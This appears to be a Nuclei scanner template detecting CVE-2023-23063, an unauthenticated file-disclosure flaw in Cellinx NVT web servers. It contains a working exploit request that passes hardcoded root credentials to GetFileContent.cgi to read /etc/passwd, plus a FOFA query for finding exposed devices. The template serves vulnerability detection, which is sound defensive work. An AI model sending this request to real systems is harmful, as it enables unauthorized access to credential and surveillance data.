Cellinx NVT Web Server - Local File Disclosure

id: CVE-2023-23063

info:
  name: Cellinx NVT Web Server - Local File Disclosure
  author: daffainfo
  severity: high
  description: |
    Cellinx NVT v1.0.6.002b was discovered to contain a local file disclosure vulnerability via the component /cgi-bin/GetFileContent.cgi.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server through the PATH parameter in GetFileContent.cgi, potentially exposing system credentials, configuration files, and sensitive video surveillance data.
  remediation: |
    Update Cellinx NVT to a version newer than 1.0.6.002b that validates file paths in GetFileContent.cgi and restricts file access to authorized directories only.
  reference:
    - https://github.com/ahmedalroky/Disclosures/tree/cellinx
    - http://nvd.nist.gov/vuln/detail/CVE-2023-23063
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-23063
    cwe-id: CWE-22
    epss-score: 0.02431
    epss-percentile: 0.82536
    cpe: cpe:2.3:a:cellinx:nvt_web_server:1.0.6.002b:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cellinx
    product: nvt_web_server
    fofa-query: body="/viewer/viewer.html" && header="lighttpd" && country="KR"
  tags: cve,cve2023,cellinx,lfi,nvt,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/GetFileContent.cgi?USER=root&PWD=D1D1D1D1D1D1D1D1D1D1D1D1A2A2B0A1D1D1D1D1D1D1D1D1D1D1D1D1D1D1B8D1&PATH=/etc/passwd"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "regex('root:.*:0:0:', body)"
          - "contains(header, 'TRACKID=')"
        condition: and
# digest: 4b0a0048304602210096315a557bd4a6d86ea44eebfc3af387335b8a956be7dca6965b9dab9abe49200221008b0d1da5130b20611e2a3bc1c2e226ab3c702ab7cfab6ea4525ea48c6ff6e88c:922c64590222798bb761d5b6d8e72950